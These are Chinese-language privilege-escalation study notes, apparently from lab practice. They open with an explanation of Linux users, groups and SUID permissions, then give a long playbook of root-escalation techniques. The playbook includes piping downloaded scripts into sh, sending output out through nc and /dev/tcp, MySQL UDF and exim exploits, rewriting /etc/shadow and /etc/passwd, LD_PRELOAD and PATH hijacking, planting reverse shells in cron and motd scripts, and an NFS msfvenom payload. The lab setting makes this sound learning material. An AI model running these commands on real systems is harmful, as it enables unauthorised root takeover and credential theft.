Linux 中特权升级的最终目标是获得root用户
四者之间的关系
用户可以属于多个组。组可以具有多个用户。
每个文件和目录都根据用户、组和"其他用户"(所有其他用户)来定义其权限。
用户
用户帐户配置在/etc/passwd文件。
用户密码哈希存储在/etc/shadow文件中。
用户由整数用户 ID (UID)识别。
root用户帐户是 Linux 中的一种特殊类型的帐户。它的 UID 为 0,系统允许此用户访问每个文件。
组
组配置在/etc/group文件中。
用户有一个主要组,并且可以有multiple二级(或补充)组。
默认情况下,用户的主要组与用户帐户的名称相同。
文件和目录
所有文件和目录都有一个所有者和一个组。
权限以读取、编写和执行操作的方式定义。
有三组权限,一组为所有者,一组为组,一组为所有"其他"用户
只有所有者才能更改权限
文件权限
• Read -设置后,可以读取文件内容。
• Write -设置后,文件 内容可以修改。
• Execute -设置后,文件可以执行 (即作为某种过程运行 )。
目录权限
• Execute 设置时,目录可以输入。未经此许可,读取或写入权限均不起作用。
• Read -设置时,目录内容可以列出。
• Write -设置时,文件和子目录可以在目录中创建。
特殊权限
• setuid (SUID) bit
设置后,文件将使用文件所有者的权限执行。
• setgid (SGID) bit
设置在文件上时,文件将使用文件组的权限执行。
设置在目录上时,该目录内创建的文件将继承目录本身的组。
查看权限
ls命令可以查看权限
ls -l /bin/date
简单阐述一下: 前10个字符表示对文件设置的权限或目录。
第一个字符只是表示类型,
例如,
“-” 表示普通文件,如.txt,.c,*.h “d” 表示目录,directory “l” 表示软链接文件(ln -s 创建的),link file “p” 表示pipe管道文件 “b” 表示块设备文件,block device “c” 表示字符设备文件,char device “s” 表示socket套接字文件,用于实现两个进程间通信
剩下的9个字符代表3组权限(所有者、组、其他)
每组包含3个字符,表示读(r)、写(r),可执行(x)
SUID/SGID权限由中的s
表示执行位置
3个一组,共3组,拿
[rwx][r-x][r-x]
这3组分别表示文件所有者的权限,组的权限和其他用户的权限。
r(read,读权限) :对文件来说,具有读取文件内容的权限;对目录来说,具有浏览目录及子目录的权限。 w(write,写权限):对文件来说,具有修改、删除文件内容的权限;对目录来说,具有删除、移动目录内文件的权限。 x(execute,执行权限):对文件来说,具有执行文件的权限;对目录来说,该用户具有进入目录的权限。
—:表示无任何权限
用户是由用户ID标识的
在linux中,每个用户有3个用户id(real、effective、saved)
用户的真实ID是/etc/passwd中定义的ID
用户的有效id通常等于其真实ID,但是作为另一个用户执行一个进程时,有效id被设置为该用户的真实身份
在大多数访问控制决策中,有效ID用于验证用户,
whoami等命令使用有效id
最后保存的id用于确保SUID进程
临时将用户的有效id切换回其真实ID并返回,在不丢弃原始有效ID的情况下
实操
真实有效的用户/组id
uid=1000(swq)
:这表示用户的UID(用户标识号),在这里是1000。UID是一个唯一的数字,用于标识系统上的每个用户。括号中的文字 "swq" 是用户名,与UID关联。
gid=1000(swq)
:这表示用户所属的主要组的GID(组标识号),在这里也是1000。与UID类似,GID是一个唯一的数字,用于标识用户所属的主要组。括号中的文字 "swq" 是主要组的组名。
组=1000(swq),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),117(wireshark),120(bluetooth),129(scanner),140(kaboxer)
:这是用户所属的其他附加组的信息。每个组都有一个唯一的GID和一个名称,这些组分别是用户所属的附加组。在括号中,数字表示GID,括号外的文字表示组名。用户可以属于多个组,以便具有不同的权限和访问
真实、有效、已保存和文件系统用户/组
cat /proc/$$/status | grep "[UG]id"
目的是获取当前正在运行的 shell 进程的用户标识(UID)和组标识(GID)信息。
以下是输出的解释:
Uid: 1000 1000 1000 1000
:这一行显示了与用户标识(UID)相关的信息。UID是用户的唯一标识号,用于识别用户。在这里,有四个数字,分别是 1000。这些数字通常表示以下含义:
第一个数字是实际的用户UID(即启动该进程的用户的UID)。
第二个数字是有效用户UID,通常与实际UID相同。
第三个数字是保存的设置用户ID(setuid)。
第四个数字是保存的设置组ID(setgid)。
Gid: 1000 1000 1000 1000
:这一行显示了与组标识(GID)相关的信息。GID是用户所属的主要组的标识号。在这里,与UID一样,有四个数字,分别是 1000。这些数字通常表示以下含义:
第一个数字是实际的组GID(即启动该进程的用户的主要组的GID)。
第二个数字是有效组GID,通常与实际GID相同。
第三个数字是保存的设置组ID(setgid)。
第四个数字是无用的,通常会与有效GID相同。
手动枚举
whoami # 查看当前用户权限,如果是root用户就不用提权; id # 查看当前id的uid和gid,和权限 id+其他用户 # 查看某个用户 who # 查看其他登录状态的用户用户 w # 当前用户的具体信息 last # 最近登录进来的用户 uname -a # 查看linux操作系统内核信息 uname -r # 查看内核版本 cat /proc/version # 查看linux系统当前操作系统版本信息 cat /etc/issue # 查看linux当前操作系统发行版本信息 cat /etc/redhat-releas # 查看linux当前操作系统发行版本信息 cat /etc/*-release # 查看linux当前操作系统发行版本信息 ip addr # 查看当前用户的网卡和ip ip route # 查看路由 ip neigh # 查看网络邻居 arp -a # 查看局域网中绑定的ip地址 hostname # 查看机器名称 hostnamectl # 显示的名称更加全 sudo -l # 查看那些是可以以root权限运行的用户 getcap -r / 2>/dev/null # 利用缺陷提权, ls -a # history # 历史记录 cat /etc/passwd # 查看用户数有bash的用户 cat /etc/crontab # 查看是否有自动任务 echo $PATH # 查看是否有特殊路径 env # 看整体环境变量 ps -ef # 查看进程 ps axjf # 查看进程个数,x指没有连接终端的进程 ps aux # 查看进程个数 a所有 u指使用的用户 top # 查看进程,在不断的刷新 top -n 1 # 查看进程,但不刷新 netstat -a # 查看占用进程的端口及id netstat -at/-au # 查看带有tcp或者udp的进程 netstat -l #查看那些端口在被监听 netstat -ano # find / -perm -u=s -type f 2>/dev/null # 列出有usr的文件 which awk perl python ruby gcc vi vim nmap find screen 2>/dev/null #查看用户是否安装vi vim... 可以用which查看那些可执行文件 cat /etc/fstab #查看那些磁盘没挂载
自动化枚举(可能会暴露流量,容易遗漏)
工具
PEASS-ng
执行:
1.可以下载本地执行
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh
加权 chmod +x linpeas.sh 然后 ./linpeas.sh运行
2.也可直接(官方推荐)
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh | sh
当靶机不能访问网络时,通过外机传入linpeas
首先在外机上下载linpeas
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh
然后再开启web服务
sudo python3 -m http.server 80
然后在靶机上连接外机
curl 192.168.178.141/linpeas.sh | sh
如何传回外机
在外机监听并存成txt
sudo nc -lvnp 81 | tee linpeas.txt
靶机中输入
curl 192.168.178.141/linpeas.sh | sh | nc 192.168.178.141 81
返回外机查看
已经开始扫描了
最后通过下面命令查看文本(防止乱码)
less -r linpeas.txt
当curl不能用时,可以试试cat
在外机上输入
sudo nc -lvnp 80 < linpeas.sh
在靶机上输入
cat < /dev/tcp/192.168.178.141/80 | sh
其它工具:
LinEnum
Linux-smart-enumeration
Linux-exploit-suggester
unix-privesc-check
UDF提权 有时候我们通过一些方式获取了目标主机mysql的用户名和密码,并且可以远程连接。我们远程登录上了mysql服务器,这时,我们想通过mysql来执行系统命令,此时我们可以考虑使用UDF进行提权。
UDF是什么 UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。
当获得的用户权限过大
可以使用UDF提权
searchsploit mysql udf
将1518文件下载下来
searchsploit mysql udf -m 1518
ls
cat 1518.c
再文件中已经说明提权过程
gcc -g -c 1518.c -FPIC (FPIC用于共享)
共享文件已经生成
然后登录到mysql的数据库中
sudo mysql -u root -p
查看是否有权限及secure_file_priv为空
show variables like '%secure_file_priv%';
show variables like '%plugin%';
然后按照上面文件给的操作
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/swq/
然后继续按照.c文件操作即可
通过枚举查看shadow文件,发现可读,为什么查看shadow文件,因为之前root密码都是存在passwd文件,现在shadow中也有,并且以哈希存储
ls -liah /etc/shadow
查看shadow文件
cat /etc/shadow/
找到带有哈希值的文件
cat /etc/shadow | grep ':$'
对其进行破解便有账号密码
当不知道是什么加密是时候可以用工具hash-identifier识别
要善于拷贝shadow文件,方便更改后的还原
cp /etc/shadow /tmp/shadow.txt
可以使用mkpasswd生成哈希值放到可写的sahdow文件里
mkpasswd -m sha-512 Redteamnotes
那么更改的密码就会生效了
在自己卡里上给passwd可写权限
查看passwd文件,发现root就是我们的目标,其中x就是我们要替换的密码,因为密码会以哈希的形式存入shadow文件,最后passwd里是x
用openssl生成密码的hash,然后替换root后面的x,就可更改root密码
sudo -l 查看环境变量
有env_reset 和env_keep俩选项说明是可以提权的
创建一个C语言文件
vim shell.c
输入以下文件
使用的共享库,所有要用共享库的语法编译
gcc -fPIC -shared -o shell.so -nostartfile
然后通过共享库使用sudo中无密码使用的find的工具,完成提权
查看自动任务,可以看到root会自动执行那个.sh文件 cat /etc/crontab
那么查看overwrite.sh文件的位置、权限、内容
发现可写,就看写入反弹shell,进行监听
一分钟之内就会收到shell,拿到root权限
前提
1.crontab只会执行crontab中的路径集
2.path有家目录,会优先运行家目录优先级靠前的文件
向overwrite.sh输入执行脚本
一分钟后,便可提权
查找并列出所有设置了"setuid"权限位的可执行文件(普通文件),关注其中exim-4.84-3
find / -perm -u=s -type f 2>/dev/null
查找4.84
searchsploit exim
下载下来
searchsploit exim -m 39535.sh
查看文件
架设服务器,用于在靶机下载刚刚那个文件
靶机输入
wget http://10.10.10.10/39535.sh
给权,然后执行文件获得root权限
直接执行可执行文件suid -so
直接strings /usr/local/bin/suid-so
查看可读字符串
对strings进行追踪,发现没有目录,那就创建文件
strace /usr/local/bin/suid-so 2>&1 | grep '/home'
写入提权命令
执行共享库
gcc -shared -fPIC -o libcalc.so libcalc.c
然后执行可执行文件
利用suid-env进行提权
查看看到最后是相对路径,并不是绝对路径,可以对其进行劫持,使其执行我们提供的相对路径的service文件
vim service.c
写入C语言提权代码
执行
要对路径进行指定,这样就可以优先读取家目录下的service服务
export PATH=.:$PATH
执行可执行文件
在bash版本号小于4.2时,可以在bash中定义函数,然后用路径的组合做文件名,所以正好契合上面service的利用方式
function /usr/sbin/service { /bin/bash -p; }
最后导入环境变量
export -f /usr/sbin/service
输入history查看
可以看到
里面有mysql的root账密
可能root用户的密码也是,可以尝试一下
没问题,,是的
也可以输入cat ~/.*history | les
查找和history相关的文件
也要有查看特殊文件的习惯,比如.viminfo可能会有密码的输入
ls -liah
家目录先的所有文件都要翻翻看看
比如my.o
查看那个txt文件,就有root账密
到根目录下查找.ssh文件,这个很重要因为不仅高权限用户可以登录ssh,低权限用户也可以登录
到.ssh文件下发现root_key
复制key,对文本加权
尝试连接
发现签名不对,你就直接加
NFS文件共享的意思,网络文件共享,可以用于撕口子也可以用于提权
cat /etc/exports
查看是否有NFS服务
建立NFS,反弹shell
mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs
注意这里版本为3.
发现要创建软连接
到tmp下查看一下我们创建的软连接
利用linux的msf生成shell
msfvenom -p linux/x86/exec CMD="/bin/bash-p" -f elf -o /tmp/nfs/shell.elf
然后给文件权限
到俩台主机的共享文件下运行shell文件
一般渗透最后办法了在利用内核提权,很需要经验
uname -a
查看内核,版本越低漏洞越多
然后同上linpeass的使用(不能访问外网)
然后查看searchsploit 40611
并下载文件searchsploit -m 40611
一样每一步都有
外机上建立web服务
sudo php -s 0:80
靶机访问
wget kali-ip/40611.c
之后就按照他说的做就行
也可以查找漏洞利用的其他方法,进行比较
操作
查看可利用文件
查看doas文件发现,上面说只要保持环境变量就能执行后面的命令
接下来相当用less来查看文件
然后ESC+:!sh即可执行doas里var权限
查看motd文件
cd /etc/update-motd.d
里面有00-header文件是欢迎文件,一般等用户登录上就会直接执行
那么接下来就写入反弹shell进行监听
等待靶机登录,就会执行shell
一些重要命令
python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo
export TERM=xterm-color
rlwrap nc -lvnp 443 #可以包裹监听内容